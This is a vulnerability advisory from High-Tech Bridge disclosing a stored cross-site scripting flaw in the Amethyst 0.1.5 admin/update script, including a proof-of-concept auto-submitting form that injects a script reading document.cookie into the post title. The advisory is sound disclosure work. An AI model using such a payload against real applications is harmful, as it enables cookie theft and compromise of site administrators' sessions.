Vulnerability ID: HTB22502
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
Vulnerable Version:0.1.5and Probably Prior Versions
Vendor Notification:22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied inputin"post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/update/2" method="post" name="main"><inputtype="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>'/><inputtype="hidden" name="post[content]" value="this is my post"/><inputtype="hidden" name="post[created_at(1i)]" value="2010"/><inputtype="hidden" name="post[created_at(2i)]" value="7"/><inputtype="hidden" name="post[created_at(3i)]" value="15"/><inputtype="hidden" name="post[created_at(4i)]" value="20"/><inputtype="hidden" name="post[created_at(5i)]" value="39"/><inputtype="hidden" name="post[updated_at(1i)]" value="2010"/><inputtype="hidden" name="post[updated_at(2i)]" value="7"/><inputtype="hidden" name="post[updated_at(3i)]" value="15"/><inputtype="hidden" name="post[updated_at(4i)]" value="20"/><inputtype="hidden" name="post[updated_at(5i)]" value="39"/><inputtype="hidden" name="commit" value="Create"/></form><script>
document.main.submit();</script>
Solution: Upgrade to the most recent version